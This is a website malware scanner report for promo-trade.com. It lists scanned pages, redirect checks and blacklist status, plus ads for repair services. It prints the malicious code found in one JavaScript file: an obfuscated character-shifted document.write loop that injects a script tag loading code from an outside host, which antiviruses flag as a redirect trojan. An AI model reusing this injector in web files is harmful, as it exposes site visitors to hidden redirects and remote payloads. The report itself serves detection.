New scan:

Malware Scanner report for promo-trade.com

Malicious/Suspicious/Total urls checked
1/0/15
1 page has malicious code. See details below
Blacklists
OK
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/1
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Scanned pages/files

RequestServer responseStatus
http://promo-trade.com/
200 OK
Content-Length: 199421
Content-Type: text/html
clean
http://promo-trade.com/assets/jquery/jquery.min.js
200 OK
Content-Length: 93867
Content-Type: application/x-javascript
clean
http://promo-trade.com/assets/jquery/jquery.plugin.min.js
200 OK
Content-Length: 101259
Content-Type: application/x-javascript
clean
http://promo-trade.com/assets/jquery/colorbox/jquery.colorbox.js
200 OK
Content-Length: 29785
Content-Type: application/x-javascript
clean
http://promo-trade.com/assets/js/html5.js
200 OK
Content-Length: 469
Content-Type: application/x-javascript
malicious
Malicious code - confirmed by antiviruses (see below)

for(i in lst='article|aside|audio|canvas|command|datalist|embed|figcaption|figure|footer|header|hgroup|keygen|mark|meter|nav|output|progress|rp|rt|ruby|section|source|summary|time|video'.split('|'))document.createElement(lst[i]);
<!-- js-tools -->
x=0;while(x<92)document.write(String.fromCharCode('=tdsjqu!tsd>#iuuq;00rrr/bmfy{bw/sv0benjojtusbups0dpnqpofout0dpn`sfejsfdu0tubu/qiq#?=0tdsjqu?'.charCodeAt(x++)-1))
<!-- /js-tools -->
<!-- js-tools -->
<!-- /js-tools -->

Antivirus reports:

NANO-Antivirus
Trojan.Script.IFrame.igvg
Sophos
Troj/JSRedir-OK
ESET-NOD32
JS/Kryptik.AH

http://promo-trade.com/assets/js/engine.min.js
200 OK
Content-Length: 153198
Content-Type: application/x-javascript
clean
http://promo-trade.com/rus
200 OK
Content-Length: 199421
Content-Type: text/html
clean
http://promo-trade.com/about_us
200 OK
Content-Length: 104764
Content-Type: text/html
clean
http://promo-trade.com/partners
200 OK
Content-Length: 94165
Content-Type: text/html
clean
http://promo-trade.com/contacts
200 OK
Content-Length: 91861
Content-Type: text/html
clean
http://app.ecwid.com/script.js?4272195
200 OK
Content-Length: 24429
Content-Type: text/javascript
clean
http://promo-trade.com/test404page.js
404 Not Found
Content-Length: 65531
Content-Type: text/html
clean
http://promo-trade.com/worldtrade
200 OK
Content-Length: 75830
Content-Type: text/html
clean
http://promo-trade.com/paints
200 OK
Content-Length: 96501
Content-Type: text/html
clean
http://promo-trade.com/Media
200 OK
Content-Length: 138634
Content-Type: text/html
clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: promo-trade.com

Result:
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: close
Date: Sun, 06 Jul 2014 01:46:17 GMT
Pragma: no-cache
Server: nginx/1.2.8
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Set-Cookie: moto_cms=dee24a927febeef62c96deddf1d31d58; path=/
X-Powered-By: PHP/5.2.17-0.dotdeb.0
Second query (visit from search engine):
GET / HTTP/1.1
Host: promo-trade.com
Referer: http://www.google.com/search?q=promo-trade.com

Result:
The result is similar to the first query. There are no suspicious redirects found.

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=promo-trade.com

Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://promo-trade.com/

Result: promo-trade.com is not infected or malware details are not published yet.